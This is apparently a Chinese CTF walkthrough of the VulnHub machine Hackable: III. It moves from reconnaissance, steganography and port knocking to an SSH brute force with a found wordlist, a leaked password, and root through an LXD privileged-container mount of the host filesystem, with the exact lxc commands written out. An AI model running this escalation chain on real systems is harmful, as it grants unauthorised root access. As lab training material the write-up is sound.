Hackable：III

项目地址：https://download.vulnhub.com/hackable/hackable3.ova

是一个打包好的镜像文件

注意：导入 ovf 时一定要选择我已移动，否则没网

使用 Nmap 扫描出开放服务及操作系统版本

pasted_1785911710516_9iiztc.png

CTF

StegHide 隐写

访问其 80 端口的源代码信息，在其源代码信息中发现提示信息，根据提示信息猜测可能存在以下账户

1
2
3
4
jubiscleudo
hackable3

Jubiscleudo，请务必记得在离开你负责的区域时激活端口敲击（port knocking），并提醒老板记得审批那个 .jpg 文件 —— dev_suport@hackable3.com

pasted_1785912875281_l8bxbu.png

扫描目录发现 login.php，访问直接显示了源码

pasted_1785913122265_nvf5md.png

在源码中可以看到有个 3.jpg，结合提示信息使用 steghide 提取图片隐写信息，得到

1
porta:65535

Port Knocking

访问 /backup/ 目录，发现 wordlist.txt 文件

pasted_1785913349897_iovrvi.png

访问 /config/ 发现 1.txt 文件，文件内容是 Base64 加密的字符串

1
MTAwMDA=

解密后得到 10000

访问 /css/，发现 2.txt 文件，在文件中发现加密信息

1
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....

在解密网站 http://esoteric.sange.fi/brainfuck/impl/interp/i.html 进行解密

pasted_1785913621068_t7icrj.png

根据之前的提示信息我们尝试使用获得端口进行敲门

1
2
# 端口顺序是文件名顺序
knock -v 192.168.246.10 10000 4444 65535

敲门后重新扫描发现开启 SSH 端口

pasted_1785914573887_scd9is.png

弱口令

SSH

使用上面找到的字典爆破成功登录，jubiscleudo/onlymy

pasted_1785914680843_pbogkc.png

提权

敏感信息泄露

经过一番查找在 /var/www/html 目录下发现一个隐藏文件 .backup_config.php，读取该文件内容获取到 hackable_3 账户的密码

pasted_1785915002478_ir18wz.png

提权成功

pasted_1785915050829_s8liwh.png

LXD 提权

检查权限发现该用户在 LXD 组中

pasted_1785915115265_vsmn0a.png

LXD 是一个以 root 权限运行的系统服务

关键的安全缺陷在于，任何属 于lxd 或 lxc 用户组的成员，都有权通过 Unix 套接字与这个 root 进程通信，并让它执行管理命令

系统不会去检查调用者的权限是否与其请求的操作相匹配

提权具体步骤如下：

  • 导入一个容器镜像：首先，需要有一个容器镜像。这是运行容器的 “模板”

  • 创建 “特权容器”：

    • 命令 lxc init myimage ignite -c security.privileged=true 创建了一个名为 ignite 的容器

    • 参数 security.privileged=true 是核心。它告诉 LXD，这个容器是 “特权容器”

    • init 表示创建，myimage 是源镜像

  • 挂载宿主机的根目录：

    • 命令 lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true 将主机的整个根目录 /，以磁盘设备的形式挂载到了容器内的 /mnt/root 路径下

    • lxc config device add 表示动态设备添加，ignite 要操作的容器名

    • mydevice 表示在 LXD 配置数据库中给这个 “设备” 起的内部别名

    • disk 表示添加一个磁盘/文件系统类型的设备

    • source=/ 表示来源路径，这里是宿主机的根目录

    • path=/mnt/root 指定这个源路径在容器内部被挂载到什么位置

    • recursive=true 表示开启递归

  • 获取并控制 /mnt/root：

    • lxc start ignite 启动容器

    • lxc exec ignite /bin/sh 在容器内启动一个 /bin/sh shell

去 https://github.com/saghul/lxd-alpine-builder.git 上下载镜像文件并上传到靶机

pasted_1785916380398_06qvuz.png

然后在依次执行如下命令，即可成功获得 root 权限

1
2
3
4
5
6
7
8
9
10
# 导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

# 初始化，一路回车默认就行
lxd init

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

pasted_1785916617023_kovhkv.png

成功拿到 flag

pasted_1785916683058_bpx75y.png